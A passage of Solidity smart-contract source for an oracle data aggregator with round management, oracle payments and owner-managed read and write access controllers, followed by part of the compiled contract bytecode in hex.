rounds[_queriedRoundId]; RoundDetails storage details = details[_queriedRoundId]; return ( eligibleForSpecificRound(_oracle, _queriedRoundId), _queriedRoundId, oracles[_oracle].latestSubmission, round.startedAt, details.timeout, recordedFunds.available, oracleCount(), (round.startedAt > 0 ? details.paymentAmount : paymentAmount) ); } else { return oracleRoundStateSuggestRound(_oracle); } } /** * @notice method to update the address which does external data validation. * @param _newValidator designates the address of the new validation contract. */ function setValidator(address _newValidator) public onlyOwner() { address previous = address(validator); if (previous != _newValidator) { validator = AggregatorValidatorInterface(_newValidator); emit ValidatorUpdated(previous, _newValidator); } } /** * Private */ function initializeNewRound(uint32 _roundId) private { updateTimedOutRoundInfo(_roundId.sub(1)); reportingRoundId = _roundId; RoundDetails memory nextDetails = RoundDetails( new int256[](0), maxSubmissionCount, minSubmissionCount, timeout, paymentAmount ); details[_roundId] = nextDetails; rounds[_roundId].startedAt = uint64(block.timestamp); emit NewRound(_roundId, msg.sender, rounds[_roundId].startedAt); } function oracleInitializeNewRound(uint32 _roundId) private { if (!newRound(_roundId)) return; uint256 lastStarted = oracles[msg.sender].lastStartedRound; // cache storage reads if (_roundId <= lastStarted + restartDelay && lastStarted != 0) return; initializeNewRound(_roundId); oracles[msg.sender].lastStartedRound = _roundId; } function requesterInitializeNewRound(uint32 _roundId) private { if (!newRound(_roundId)) return; uint256 lastStarted = requesters[msg.sender].lastStartedRound; // cache storage reads require(_roundId > lastStarted + requesters[msg.sender].delay || lastStarted == 0, "must delay requests"); initializeNewRound(_roundId); requesters[msg.sender].lastStartedRound = _roundId; } function updateTimedOutRoundInfo(uint32 _roundId) private { if (!timedOut(_roundId)) return; uint32 prevId = _roundId.sub(1); rounds[_roundId].answer = rounds[prevId].answer; rounds[_roundId].answeredInRound = rounds[prevId].answeredInRound; rounds[_roundId].updatedAt = uint64(block.timestamp); delete details[_roundId]; } function eligibleForSpecificRound(address _oracle, uint32 _queriedRoundId) private view returns (bool _eligible) { if (rounds[_queriedRoundId].startedAt > 0) { return acceptingSubmissions(_queriedRoundId) && validateOracleRound(_oracle, _queriedRoundId).length == 0; } else { return delayed(_oracle, _queriedRoundId) && validateOracleRound(_oracle, _queriedRoundId).length == 0; } } function oracleRoundStateSuggestRound(address _oracle) private view returns ( bool _eligibleToSubmit, uint32 _roundId, int256 _latestSubmission, uint64 _startedAt, uint64 _timeout, uint128 _availableFunds, uint8 _oracleCount, uint128 _paymentAmount ) { Round storage round = rounds[0]; OracleStatus storage oracle = oracles[_oracle]; bool shouldSupersede = oracle.lastReportedRound == reportingRoundId || !acceptingSubmissions(reportingRoundId); // Instead of nudging oracles to submit to the next round, the inclusion of // the shouldSupersede bool in the if condition pushes them towards // submitting in a currently open round. if (supersedable(reportingRoundId) && shouldSupersede) { _roundId = reportingRoundId.add(1); round = rounds[_roundId]; _paymentAmount = paymentAmount; _eligibleToSubmit = delayed(_oracle, _roundId); } else { _roundId = reportingRoundId; round = rounds[_roundId]; _paymentAmount = details[_roundId].paymentAmount; _eligibleToSubmit = acceptingSubmissions(_roundId); } if (validateOracleRound(_oracle, _roundId).length != 0) { _eligibleToSubmit = false; } return ( _eligibleToSubmit, _roundId, oracle.latestSubmission, round.startedAt, details[_roundId].timeout, recordedFunds.available, oracleCount(), _paymentAmount ); } function updateRoundAnswer(uint32 _roundId) internal returns (bool, int256) { if (details[_roundId].submissions.length < details[_roundId].minSubmissions) { return (false, 0); } int256 newAnswer = Median.calculateInplace(details[_roundId].submissions); rounds[_roundId].answer = newAnswer; rounds[_roundId].updatedAt = uint64(block.timestamp); rounds[_roundId].answeredInRound = _roundId; latestRoundId = _roundId; emit AnswerUpdated(newAnswer, _roundId, now); return (true, newAnswer); } function validateAnswer( uint32 _roundId, int256 _newAnswer ) private { AggregatorValidatorInterface av = validator; // cache storage reads if (address(av) == address(0)) return; uint32 prevRound = _roundId.sub(1); uint32 prevAnswerRoundId = rounds[prevRound].answeredInRound; int256 prevRoundAnswer = rounds[prevRound].answer; // We do not want the validator to ever prevent reporting, so we limit its // gas usage and catch any errors that may arise. try av.validate{gas: VALIDATOR_GAS_LIMIT}( prevAnswerRoundId, prevRoundAnswer, _roundId, _newAnswer ) {} catch {} } function payOracle(uint32 _roundId) private { uint128 payment = details[_roundId].paymentAmount; Funds memory funds = recordedFunds; funds.available = funds.available.sub(payment); funds.allocated = funds.allocated.add(payment); recordedFunds = funds; oracles[msg.sender].withdrawable = oracles[msg.sender].withdrawable.add(payment); emit AvailableFundsUpdated(funds.available); } function recordSubmission(int256 _submission, uint32 _roundId) private { require(acceptingSubmissions(_roundId), "round not accepting submissions"); details[_roundId].submissions.push(_submission); oracles[msg.sender].lastReportedRound = _roundId; oracles[msg.sender].latestSubmission = _submission; emit SubmissionReceived(_submission, _roundId, msg.sender); } function deleteRoundDetails(uint32 _roundId) private { if (details[_roundId].submissions.length < details[_roundId].maxSubmissions) return; delete details[_roundId]; } function timedOut(uint32 _roundId) private view returns (bool) { uint64 startedAt = rounds[_roundId].startedAt; uint32 roundTimeout = details[_roundId].timeout; return startedAt > 0 && roundTimeout > 0 && startedAt.add(roundTimeout) < block.timestamp; } function getStartingRound(address _oracle) private view returns (uint32) { uint32 currentRound = reportingRoundId; if (currentRound != 0 && currentRound == oracles[_oracle].endingRound) { return currentRound; } return currentRound.add(1); } function previousAndCurrentUnanswered(uint32 _roundId, uint32 _rrId) private view returns (bool) { return _roundId.add(1) == _rrId && rounds[_rrId].updatedAt == 0; } function requiredReserve(uint256 payment) private view returns (uint256) { return payment.mul(oracleCount()).mul(RESERVE_ROUNDS); } function addOracle( address _oracle, address _admin ) private { require(!oracleEnabled(_oracle), "oracle already enabled"); require(_admin != address(0), "cannot set admin to 0"); require(oracles[_oracle].admin == address(0) || oracles[_oracle].admin == _admin, "owner cannot overwrite admin"); oracles[_oracle].startingRound = getStartingRound(_oracle); oracles[_oracle].endingRound = ROUND_MAX; oracles[_oracle].index = uint16(oracleAddresses.length); oracleAddresses.push(_oracle); oracles[_oracle].admin = _admin; emit OraclePermissionsUpdated(_oracle, true); emit OracleAdminUpdated(_oracle, _admin); } function removeOracle( address _oracle ) private { require(oracleEnabled(_oracle), "oracle not enabled"); oracles[_oracle].endingRound = reportingRoundId.add(1); address tail = oracleAddresses[uint256(oracleCount()).sub(1)]; uint16 index = oracles[_oracle].index; oracles[tail].index = index; delete oracles[_oracle].index; oracleAddresses[index] = tail; oracleAddresses.pop(); emit OraclePermissionsUpdated(_oracle, false); } function validateOracleRound(address _oracle, uint32 _roundId) private view returns (bytes memory) { // cache storage reads uint32 startingRound = oracles[_oracle].startingRound; uint32 rrId = reportingRoundId; if (startingRound == 0) return "not enabled oracle"; if (startingRound > _roundId) return "not yet enabled oracle"; if (oracles[_oracle].endingRound < _roundId) return "no longer allowed oracle"; if (oracles[_oracle].lastReportedRound >= _roundId) return "cannot report on previous rounds"; if (_roundId != rrId && _roundId != rrId.add(1) && !previousAndCurrentUnanswered(_roundId, rrId)) return "invalid round to report"; if (_roundId != 1 && !supersedable(_roundId.sub(1))) return "previous round not supersedable"; } function supersedable(uint32 _roundId) private view returns (bool) { return rounds[_roundId].updatedAt > 0 || timedOut(_roundId); } function oracleEnabled(address _oracle) private view returns (bool) { return oracles[_oracle].endingRound == ROUND_MAX; } function acceptingSubmissions(uint32 _roundId) private view returns (bool) { return details[_roundId].maxSubmissions != 0; } function delayed(address _oracle, uint32 _roundId) private view returns (bool) { uint256 lastStarted = oracles[_oracle].lastStartedRound; return _roundId > lastStarted + restartDelay || lastStarted == 0; } function newRound(uint32 _roundId) private view returns (bool) { return _roundId == reportingRoundId.add(1); } function validRoundId(uint256 _roundId) private view returns (bool) { return _roundId <= ROUND_MAX; } } interface AccessControllerInterface { function hasAccess(address user, bytes calldata data) external view returns (bool); } /** * @title SimpleWriteAccessController * @notice Gives access to accounts explicitly added to an access list by the * controller's owner. * @dev does not make any special permissions for externally, see * SimpleReadAccessController for that. */ contract SimpleWriteAccessController is AccessControllerInterface, Owned { bool public checkEnabled; mapping(address => bool) internal accessList; event AddedAccess(address user); event RemovedAccess(address user); event CheckAccessEnabled(); event CheckAccessDisabled(); constructor() public { checkEnabled = true; } /** * @notice Returns the access of an address * @param _user The address to query */ function hasAccess( address _user, bytes memory ) public view virtual override returns (bool) { return accessList[_user] || !checkEnabled; } /** * @notice Adds an address to the access list * @param _user The address to add */ function addAccess(address _user) external onlyOwner() { if (!accessList[_user]) { accessList[_user] = true; emit AddedAccess(_user); } } /** * @notice Removes an address from the access list * @param _user The address to remove */ function removeAccess(address _user) external onlyOwner() { if (accessList[_user]) { accessList[_user] = false; emit RemovedAccess(_user); } } /** * @notice makes the access check enforced */ function enableAccessCheck() external onlyOwner() { if (!checkEnabled) { checkEnabled = true; emit CheckAccessEnabled(); } } /** * @notice makes the access check unenforced */ function disableAccessCheck() external onlyOwner() { if (checkEnabled) { checkEnabled = false; emit CheckAccessDisabled(); } } /** * @dev reverts if the caller does not have access */ modifier checkAccess() { require(hasAccess(msg.sender, msg.data), "No access"); _; } } /** * @title SimpleReadAccessController * @notice Gives access to: * - any externally owned account (note that offchain actors can always read * any contract storage regardless of onchain access control measures, so this * does not weaken the access control while improving usability) * - accounts explicitly added to an access list * @dev SimpleReadAccessController is not suitable for access controlling writes * since it grants any externally owned account access! See * SimpleWriteAccessController for that. */ contract SimpleReadAccessController is SimpleWriteAccessController { /** * @notice Returns the access of an address * @param _user The address to query */ function hasAccess( address _user, bytes memory _calldata ) public view virtual override returns (bool) { return super.hasAccess(_user, _calldata) || _user == tx.origin; } } /** * @title AccessControlled FluxAggregator contract * @notice This contract requires addresses to be added to a controller * in order to read the answers stored in the FluxAggregator contract */ contract AccessControlledAggregator is FluxAggregator, SimpleReadAccessController { /** * @notice set up the aggregator with initial configuration * @param _link The address of the LINK token * @param _paymentAmount The amount paid of LINK paid to each oracle per submission, in wei (units of 10⁻¹⁸ LINK) * @param _timeout is the number of seconds after the previous round that are * allowed to lapse before allowing an oracle to skip an unfinished round * @param _validator is an optional contract address for validating * external validation of answers * @param _minSubmissionValue is an immutable check for a lower bound of what * submission values are accepted from an oracle * @param _maxSubmissionValue is an immutable check for an upper bound of what * submission values are accepted from an oracle * @param _decimals represents the number of decimals to offset the answer by * @param _description a short description of what is being reported */ constructor( address _link, uint128 _paymentAmount, uint32 _timeout, address _validator, int256 _minSubmissionValue, int256 _maxSubmissionValue, uint8 _decimals, string memory _description ) public FluxAggregator( _link, _paymentAmount, _timeout, _validator, _minSubmissionValue, _maxSubmissionValue, _decimals, _description ){} /** * @notice get data about a round. Consumers are encouraged to check * that they're receiving fresh data by inspecting the updatedAt and * answeredInRound return values. * @param _roundId the round ID to retrieve the round data for * @return roundId is the round ID for which data was retrieved * @return answer is the answer for the given round * @return startedAt is the timestamp when the round was started. This is 0 * if the round hasn't been started yet. * @return updatedAt is the timestamp when the round last was updated (i.e. * answer was last computed) * @return answeredInRound is the round ID of the round in which the answer * was computed. answeredInRound may be smaller than roundId when the round * timed out. answerInRound is equal to roundId when the round didn't time out * and was completed regularly. * @dev overridden funcion to add the checkAccess() modifier * @dev Note that for in-progress rounds (i.e. rounds that haven't yet * received maxSubmissions) answer and updatedAt may change between queries. */ function getRoundData(uint80 _roundId) public view override checkAccess() returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ) { return super.getRoundData(_roundId); } /** * @notice get data about the latest round. Consumers are encouraged to check * that they're receiving fresh data by inspecting the updatedAt and * answeredInRound return values. Consumers are encouraged to * use this more fully featured method over the "legacy" latestAnswer * functions. Consumers are encouraged to check that they're receiving fresh * data by inspecting the updatedAt and answeredInRound return values. * @return roundId is the round ID for which data was retrieved * @return answer is the answer for the given round * @return startedAt is the timestamp when the round was started. This is 0 * if the round hasn't been started yet. * @return updatedAt is the timestamp when the round last was updated (i.e. * answer was last computed) * @return answeredInRound is the round ID of the round in which the answer * was computed. answeredInRound may be smaller than roundId when the round * timed out. answerInRound is equal to roundId when the round didn't time out * and was completed regularly. * @dev overridden funcion to add the checkAccess() modifier * @dev Note that for in-progress rounds (i.e. rounds that haven't yet * received maxSubmissions) answer and updatedAt may change between queries. */ function latestRoundData() public view override checkAccess() returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ) { return super.latestRoundData(); } /** * @notice get the most recently reported answer * @dev overridden funcion to add the checkAccess() modifier * * @dev #[deprecated] Use latestRoundData instead. This does not error if no * answer has been reached, it will simply return 0. Either wait to point to * an already answered Aggregator or use the recommended latestRoundData * instead which includes better verification information. */ function latestAnswer() public view override checkAccess() returns (int256) { return super.latestAnswer(); } /** * @notice get the most recently reported round ID * @dev overridden funcion to add the checkAccess() modifier * * @dev #[deprecated] Use latestRoundData instead. This does not error if no * answer has been reached, it will simply return 0. Either wait to point to * an already answered Aggregator or use the recommended latestRoundData * instead which includes better verification information. */ function latestRound() public view override checkAccess() returns (uint256) { return super.latestRound(); } /** * @notice get the most recent updated at timestamp * @dev overridden funcion to add the checkAccess() modifier * * @dev #[deprecated] Use latestRoundData instead. This does not error if no * answer has been reached, it will simply return 0. Either wait to point to * an already answered Aggregator or use the recommended latestRoundData * instead which includes better verification information. */ function latestTimestamp() public view override checkAccess() returns (uint256) { return super.latestTimestamp(); } /** * @notice get past rounds answers * @dev overridden funcion to add the checkAccess() modifier * @param _roundId the round number to retrieve the answer for * * @dev #[deprecated] Use getRoundData instead. This does not error if no * answer has been reached, it will simply return 0. Either wait to point to * an already answered Aggregator or use the recommended getRoundData * instead which includes better verification information. */ function getAnswer(uint256 _roundId) public view override checkAccess() returns (int256) { return super.getAnswer(_roundId); } /** * @notice get timestamp when an answer was last updated * @dev overridden funcion to add the checkAccess() modifier * @param _roundId the round number to retrieve the updated timestamp for * * @dev #[deprecated] Use getRoundData instead. This does not error if no * answer has been reached, it will simply return 0. Either wait to point to * an already answered Aggregator or use the recommended getRoundData * instead which includes better verification information. */ function getTimestamp(uint256 _roundId) public view override checkAccess() returns (uint256) { return super.getTimestamp(_roundId); } }
0x608060405234801561001057600080fd5b50600436106103155760003560e01c806370dea79a116101a7578063a4c0ed36116100ee578063d4cc54e411610097578063e9ee6eeb11610071578063e9ee6eeb14610baa578063f2fde38b14610be5578063feaf968c14610c1857610315565b8063d4cc54e414610b67578063dc7f012414610b6f578063e2e4031714610b7757610315565b8063c1075329116100c8578063c107532914610b1e578063c35905c614610b57578063c937450014610b5f57610315565b8063a4c0ed3614610a52578063b5ab58dc14610ae4578063b633620c14610b0157610315565b80638823da6c1161015057806398e5b12a1161012a57806398e5b12a146109905780639a6fc8f5146109b7578063a118f24914610a1f57610315565b80638823da6c146108ac57806388aa80e7146108df5780638da5cb5b1461098857610315565b80637c2b0b21116101815780637c2b0b21146108945780638038e4a11461089c5780638205bf6a146108a457610315565b806370dea79a146108075780637284e4161461080f57806379ba50971461088c57610315565b806340884c521161026b57806358609e441161021457806364efb22b116101ee57806364efb22b146106f5578063668a0f02146107285780636b14daf81461073057610315565b806358609e44146106b2578063613d8fcc146106ba578063628806ef146106c257610315565b806350d25bcd1161024557806350d25bcd1461069a57806354fd4d50146106a257806357970e93146106aa57610315565b806340884c521461060d57806346fcff4c146106655780634f8fc3b51461069257610315565b8063313ce567116102cd5780633969c20f116102a75780633969c20f1461046d5780633a5381b5146105995780633d3d7714146105ca57610315565b8063313ce567146103db578063357ebb02146103f957806338aa4c721461041a57610315565b8063202ee0ed116102fe578063202ee0ed1461035757806320ed02751461037a57806323ca2903146103c157610315565b80630a7569831461031a5780631327d3d814610324575b600080fd5b610322610c20565b005b6103226004803603602081101561033a57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610d05565b6103226004803603604081101561036d57600080fd5b5080359060200135610e26565b6103226004803603606081101561039057600080fd5b50803573ffffffffffffffffffffffffffffffffffffffff169060208101351515906040013563ffffffff16611046565b6103c9611236565b60408051918252519081900360200190f35b6103e361125a565b6040805160ff9092168252519081900360200190f35b610401611263565b6040805163ffffffff9092168252519081900360200190f35b610322600480360360a081101561043057600080fd5b506fffffffffffffffffffffffffffffffff8135169063ffffffff602082013581169160408101358216916060820135811691608001351661128b565b610322600480360360c081101561048357600080fd5b81019060208101813564010000000081111561049e57600080fd5b8201836020820111156104b057600080fd5b803590602001918460208302840111640100000000831117156104d257600080fd5b9193909290916020810190356401000000008111156104f057600080fd5b82018360208201111561050257600080fd5b8035906020019184602083028401116401000000008311171561052457600080fd5b91939092909160208101903564010000000081111561054257600080fd5b82018360208201111561055457600080fd5b8035906020019184602083028401116401000000008311171561057657600080fd5b919350915063ffffffff813581169160208101358216916040909101351661171f565b6105a16119a7565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b610322600480360360608110156105e057600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135811691602081013590911690604001356119c3565b610615611c94565b60408051602080825283518183015283519192839290830191858101910280838360005b83811015610651578181015183820152602001610639565b505050509050019250505060405180910390f35b61066d611d04565b604080516fffffffffffffffffffffffffffffffff9092168252519081900360200190f35b610322611d1c565b6103c9611e99565b6103c9611f54565b6105a1611f59565b610401611f75565b6103e3611f95565b610322600480360360208110156106d857600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16611f9b565b6105a16004803603602081101561070b57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166120e3565b6103c961211a565b6107f36004803603604081101561074657600080fd5b73ffffffffffffffffffffffffffffffffffffffff823516919081019060408101602082013564010000000081111561077e57600080fd5b82018360208201111561079057600080fd5b803590602001918460018302840111640100000000831117156107b257600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295506121d0945050505050565b604080519115158252519081900360200190f35b610401612205565b610817612231565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610851578181015183820152602001610839565b50505050905090810190601f16801561087e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103226122dd565b6103c96123df565b610322612403565b6103c96124e9565b610322600480360360208110156108c257600080fd5b503573ffffffffffffffffffffffffffffffffffffffff1661259f565b61091e600480360360408110156108f557600080fd5b50803573ffffffffffffffffffffffffffffffffffffffff16906020013563ffffffff166126d7565b60408051981515895263ffffffff90971660208901528787019590955267ffffffffffffffff93841660608801529190921660808601526fffffffffffffffffffffffffffffffff91821660a086015260ff1660c08501521660e083015251908190036101000190f35b6105a1612890565b6109986128ac565b6040805169ffffffffffffffffffff9092168252519081900360200190f35b6109e0600480360360208110156109cd57600080fd5b503569ffffffffffffffffffff16612a05565b6040805169ffffffffffffffffffff96871681526020810195909552848101939093526060840191909152909216608082015290519081900360a00190f35b61032260048036036020811015610a3557600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16612ad4565b61032260048036036060811015610a6857600080fd5b73ffffffffffffffffffffffffffffffffffffffff82351691602081013591810190606081016040820135640100000000811115610aa557600080fd5b820183602082011115610ab757600080fd5b80359060200191846001830284011164010000000083111715610ad957600080fd5b509092509050612c0d565b6103c960048036036020811015610afa57600080fd5b5035612c88565b6103c960048036036020811015610b1757600080fd5b5035612d3f565b61032260048036036040811015610b3457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135612df6565b61066d61303c565b610401613054565b61066d613078565b6107f36130a4565b6103c960048036036020811015610b8d57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166130ad565b61032260048036036040811015610bc057600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160200135166130e7565b61032260048036036020811015610bfb57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff1661321d565b6109e0613319565b60005473ffffffffffffffffffffffffffffffffffffffff163314610ca657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601660248201527f4f6e6c792063616c6c61626c65206279206f776e657200000000000000000000604482015290519081900360640190fd5b600e5460ff1615610d0357600e80547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001690556040517f3be8a977a014527b50ae38adda80b56911c267328965c98ddc385d248f53963890600090a15b565b60005473ffffffffffffffffffffffffffffffffffffffff163314610d8b57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601660248201527f4f6e6c792063616c6c61626c65206279206f776e657200000000000000000000604482015290519081900360640190fd5b60035473ffffffffffffffffffffffffffffffffffffffff9081169082168114610e2257600380547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff84811691821790925560405190918316907fcfac5dc75b8d9a7e074162f59d9adcd33da59f0fe8dfb21580db298fc0fdad0d90600090a35b5050565b6060610e3233846133e6565b90507f000000000000000000000000000000000000000000000000016345785d8a0000821215610ec357604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601e60248201527f76616c75652062656c6f77206d696e5375626d697373696f6e56616c75650000604482015290519081900360640190fd5b7f00000000000000000000000000000000000000000000021e19e0c9bab2400000821315610f5257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601e60248201527f76616c75652061626f7665206d61785375626d697373696f6e56616c75650000604482015290519081900360640190fd5b8051819015610ff9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610fbe578181015183820152602001610fa6565b50505050905090810190601f168015610feb5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50611003836136f4565b61100d82846137e5565b60008061101985613905565b9150915061102685613ab5565b61102f85613c78565b811561103f5761103f8582613cef565b5050505050565b60005473ffffffffffffffffffffffffffffffffffffffff1633146110cc57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601660248201527f4f6e6c792063616c6c61626c65206279206f776e657200000000000000000000604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff83166000908152600b602052604090205460ff161515821515141561110557611231565b811561118d5773ffffffffffffffffffffffffffffffffffffffff83166000908152600b6020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016831515177fffffffffffffffffffffffffffffffffffffffffffffffffffffff00000000ff1661010063ffffffff8416021790556111d9565b73ffffffffffffffffffffffffffffffffffffffff83166000908152600b6020526040902080547fffffffffffffffffffffffffffffffffffffffffffffff0000000000000000001690555b60408051831515815263ffffffff83166020820152815173ffffffffffffffffffffffffffffffffffffffff8616927fc3df5a754e002718f2e10804b99e6605e7c701d95cec9552c7680ca2b6f2820a928290030190a25b505050565b7f00000000000000000000000000000000000000000000021e19e0c9bab240000081565b60055460ff1681565b6004547801000000000000000000000000000000000000000000000000900463ffffffff1681565b60005473ffffffffffffffffffffffffffffffffffffffff16331461131157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601660248201527f4f6e6c792063616c6c61626c65206279206f776e657200000000000000000000604482015290519081900360640190fd5b600061131b611f95565b60ff1690508463ffffffff168463ffffffff16101561139b57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601960248201527f6d6178206d75737420657175616c2f657863656564206d696e00000000000000604482015290519081900360640190fd5b8363ffffffff168163ffffffff16101561141657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601760248201527f6d61782063616e6e6f742065786365656420746f74616c000000000000000000604482015290519081900360640190fd5b63ffffffff8116158061143457508263ffffffff168163ffffffff16115b61149f57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601960248201527f64656c61792063616e6e6f742065786365656420746f74616c00000000000000604482015290519081900360640190fd5b6114ba866fffffffffffffffffffffffffffffffff16613e28565b600d546fffffffffffffffffffffffffffffffff16101561153c57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601e60248201527f696e73756666696369656e742066756e647320666f72207061796d656e740000604482015290519081900360640190fd5b6000611546611f95565b60ff1611156115c45760008563ffffffff16116115c457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f6d696e206d7573742062652067726561746572207468616e2030000000000000604482015290519081900360640190fd5b85600460006101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555084600460146101000a81548163ffffffff021916908363ffffffff16021790555083600460106101000a81548163ffffffff021916908363ffffffff16021790555082600460186101000a81548163ffffffff021916908363ffffffff160217905550816004601c6101000a81548163ffffffff021916908363ffffffff1602179055508363ffffffff168563ffffffff16600460009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff167f56800c9d1ed723511246614d15e58cfcde15b6a33c245b5c961b689c1890fd8f8686604051808363ffffffff1663ffffffff1681526020018263ffffffff1663ffffffff1681526020019250505060405180910390a4505050505050565b60005473ffffffffffffffffffffffffffffffffffffffff1633146117a557604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601660248201527f4f6e6c792063616c6c61626c65206279206f776e657200000000000000000000604482015290519081900360640190fd5b60005b888110156117e9576117e18a8a838181106117bf57fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff16613e56565b6001016117a8565b5085841461185857604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f6e6565642073616d65206f7261636c6520616e642061646d696e20636f756e74604482015290519081900360640190fd5b604d61187587611866611f95565b60ff169063ffffffff61410616565b11156118e257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601360248201527f6d6178206f7261636c657320616c6c6f77656400000000000000000000000000604482015290519081900360640190fd5b60005b8681101561194f576119478888838181106118fc57fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1687878481811061192557fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1661417a565b6001016118e5565b5060045461199c906fffffffffffffffffffffffffffffffff8116908590859085907c0100000000000000000000000000000000000000000000000000000000900463ffffffff1661128b565b505050505050505050565b60035473ffffffffffffffffffffffffffffffffffffffff1681565b73ffffffffffffffffffffffffffffffffffffffff838116600090815260086020526040902060020154620100009004163314611a6157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601660248201527f6f6e6c792063616c6c61626c652062792061646d696e00000000000000000000604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff831660009081526008602052604090205481906fffffffffffffffffffffffffffffffff908116908216811015611b0e57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f696e73756666696369656e7420776974686472617761626c652066756e647300604482015290519081900360640190fd5b611b306fffffffffffffffffffffffffffffffff82168363ffffffff61454e16565b73ffffffffffffffffffffffffffffffffffffffff8616600090815260086020526040902080547fffffffffffffffffffffffffffffffff00000000000000000000000000000000166fffffffffffffffffffffffffffffffff928316179055600d54611bb391700100000000000000000000000000000000909104168361454e565b600d80546fffffffffffffffffffffffffffffffff92831670010000000000000000000000000000000002908316179055600254604080517fa9059cbb00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff888116600483015293861660248201529051929091169163a9059cbb916044808201926020929091908290030181600087803b158015611c6257600080fd5b505af1158015611c76573d6000803e3d6000fd5b505050506040513d6020811015611c8c57600080fd5b505161103f57fe5b6060600c805480602002602001604051908101604052809291908181526020018280548015611cf957602002820191906000526020600020905b815473ffffffffffffffffffffffffffffffffffffffff168152600190910190602001808311611cce575b505050505090505b90565b600d546fffffffffffffffffffffffffffffffff1690565b611d24615e5a565b50604080518082018252600d546fffffffffffffffffffffffffffffffff808216835270010000000000000000000000000000000090910416602080830182905260025484517f70a0823100000000000000000000000000000000000000000000000000000000815230600482015294519394600094611e11949373ffffffffffffffffffffffffffffffffffffffff909316926370a082319260248082019391829003018186803b158015611dd957600080fd5b505afa158015611ded573d6000803e3d6000fd5b505050506040513d6020811015611e0357600080fd5b50519063ffffffff6145e916565b82519091506fffffffffffffffffffffffffffffffff168114610e2257600d80547fffffffffffffffffffffffffffffffff00000000000000000000000000000000166fffffffffffffffffffffffffffffffff831617905560405181907ffe25c73e3b9089fac37d55c4c7efcba6f04af04cebd2fc4d6d7dbb07e1e5234f90600090a25050565b6000611edc336000368080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152506121d092505050565b611f4757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f4e6f206163636573730000000000000000000000000000000000000000000000604482015290519081900360640190fd5b611f4f61465a565b905090565b600381565b60025473ffffffffffffffffffffffffffffffffffffffff1681565b600454700100000000000000000000000000000000900463ffffffff1681565b600c5490565b73ffffffffffffffffffffffffffffffffffffffff81811660009081526008602052604090206003015416331461203357604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601e60248201527f6f6e6c792063616c6c61626c652062792070656e64696e672061646d696e0000604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff81166000818152600860205260408082206003810180547fffffffffffffffffffffffff000000000000000000000000000000000000000016905560020180547fffffffffffffffffffff0000000000000000000000000000000000000000ffff16336201000081029190911790915590519092917f0c5055390645c15a4be9a21b3f8d019153dcb4a0c125685da6eb84048e2fe90491a350565b73ffffffffffffffffffffffffffffffffffffffff808216600090815260086020526040902060020154620100009004165b919050565b600061215d336000368080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152506121d092505050565b6121c857604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f4e6f206163636573730000000000000000000000000000000000000000000000604482015290519081900360640190fd5b611f4f61467d565b60006121dc8383614691565b806121fc575073ffffffffffffffffffffffffffffffffffffffff831632145b90505b92915050565b6004547c0100000000000000000000000000000000000000000000000000000000900463ffffffff1681565b6006805460408051602060026001851615610100027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0190941693909304601f810184900484028201840190925281815292918301828280156122d55780601f106122aa576101008083540402835291602001916122d5565b820191906000526020600020905b8154815290600101906020018083116122b857829003601f168201915b505050505081565b60015473ffffffffffffffffffffffffffffffffffffffff16331461236357604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601660248201527f4d7573742062652070726f706f736564206f776e6572000000000